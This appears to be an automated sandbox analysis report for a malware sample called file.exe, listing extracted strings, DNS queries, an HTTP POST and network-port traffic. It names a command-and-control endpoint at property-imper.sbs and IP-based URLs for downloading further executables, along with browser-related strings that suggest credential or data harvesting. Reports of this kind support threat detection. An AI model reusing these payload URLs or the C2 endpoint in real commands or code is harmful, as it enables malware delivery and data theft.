Source: chromecache_94.7.dr, chromecache_106.7.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_94.7.dr, chromecache_106.7.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_94.7.dr, chromecache_106.7.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: property-imper.sbs
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: property-imper.sbs

Source: file.exe, file.exe, 00000000.00000003.1618123496.0000000001373000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1723527128.0000000001332000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215
Source: file.exe, file.exe, 00000000.00000003.1618123496.0000000001373000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1723527128.0000000001332000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000003.1618123496.0000000001373000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1723527128.0000000001332000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe(w
Source: file.exe, 00000000.00000002.1722892264.000000000113B000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exepleWebKit/537.36
Source: file.exe, file.exe, 00000000.00000003.1618123496.0000000001373000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1723527128.0000000001332000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: file.exe, 00000000.00000003.1409650978.0000000005BD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.1409650978.0000000005BD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.1409650978.0000000005BD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.1409650978.0000000005BD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.1409650978.0000000005BD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.1409650978.0000000005BD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.1409650978.0000000005BD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000000.00000003.1409650978.0000000005BD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.1409650978.0000000005BD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_94.7.dr, chromecache_106.7.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_94.7.dr, chromecache_106.7.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_94.7.dr, chromecache_106.7.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_94.7.dr, chromecache_106.7.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_114.7.dr	String found in binary or memory: http://schema.org/Organization
Source: file.exe, 00000000.00000003.1516364900.000000000137F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.
Source: file.exe, 00000000.00000003.1409650978.0000000005BD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.1409650978.0000000005BD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.1364378704.0000000005BDC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1364456252.0000000005BDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_94.7.dr, chromecache_106.7.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_94.7.dr, chromecache_106.7.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_114.7.dr, chromecache_78.7.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_94.7.dr, chromecache_106.7.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_94.7.dr, chromecache_106.7.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_114.7.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: chromecache_114.7.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_114.7.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: chromecache_94.7.dr, chromecache_106.7.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: file.exe, 00000000.00000003.1410860155.0000000005B91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: file.exe, 00000000.00000003.1364378704.0000000005BDC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1364456252.0000000005BDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1364378704.0000000005BDC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1364456252.0000000005BDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1364378704.0000000005BDC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1364456252.0000000005BDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_94.7.dr, chromecache_106.7.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_94.7.dr, chromecache_106.7.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: file.exe, 00000000.00000003.1410860155.0000000005B91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000000.00000003.1364378704.0000000005BDC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1364456252.0000000005BDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1364378704.0000000005BDC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1364456252.0000000005BDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1364378704.0000000005BDC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1364456252.0000000005BDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_114.7.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_114.7.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_114.7.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_114.7.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_114.7.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_114.7.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_114.7.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_94.7.dr, chromecache_106.7.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_114.7.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_94.7.dr, chromecache_106.7.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_94.7.dr, chromecache_106.7.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_114.7.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_114.7.dr	String found in binary or memory: https://github.com/nschonni
Source: file.exe, 00000000.00000003.1410860155.0000000005B91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: chromecache_114.7.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_94.7.dr, chromecache_106.7.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_94.7.dr, chromecache_106.7.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_94.7.dr, chromecache_106.7.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_94.7.dr, chromecache_106.7.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: chromecache_94.7.dr, chromecache_106.7.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: file.exe, 00000000.00000003.1516364900.000000000137F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/
Source: file.exe, 00000000.00000002.1723527128.0000000001332000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/0914
Source: file.exe, 00000000.00000003.1516364900.000000000137F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1726870849.0000000005B90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/api
Source: file.exe, 00000000.00000003.1435872175.000000000139A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1435855496.000000000138E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/api6
Source: file.exe, 00000000.00000003.1476241587.00000000013A8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1516306485.00000000013A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/api=
Source: file.exe, 00000000.00000003.1516364900.000000000137F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apiO
Source: file.exe, 00000000.00000003.1476241587.00000000013A8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1432777993.000000000139D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1516306485.00000000013A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apiY
Source: file.exe, 00000000.00000003.1409218588.000000000139D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1409832918.000000000139D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1409489187.000000000139E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apiz
Source: file.exe, 00000000.00000002.1723527128.0000000001332000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/t
Source: file.exe, 00000000.00000003.1364151872.000000000138C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs:443/api9
Source: chromecache_106.7.dr	String found in binary or memory: https://schema.org
Source: file.exe, 00000000.00000003.1410564695.0000000005CB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.1410564695.0000000005CB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: chromecache_94.7.dr, chromecache_106.7.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_94.7.dr, chromecache_106.7.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_106.7.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: file.exe, 00000000.00000003.1364378704.0000000005BDC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1364456252.0000000005BDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.1364378704.0000000005BDC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1364456252.0000000005BDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_94.7.dr, chromecache_106.7.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: file.exe, 00000000.00000003.1410564695.0000000005CB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: file.exe, 00000000.00000003.1410564695.0000000005CB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: file.exe, 00000000.00000003.1410564695.0000000005CB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: file.exe, 00000000.00000003.1410564695.0000000005CB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.1410564695.0000000005CB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
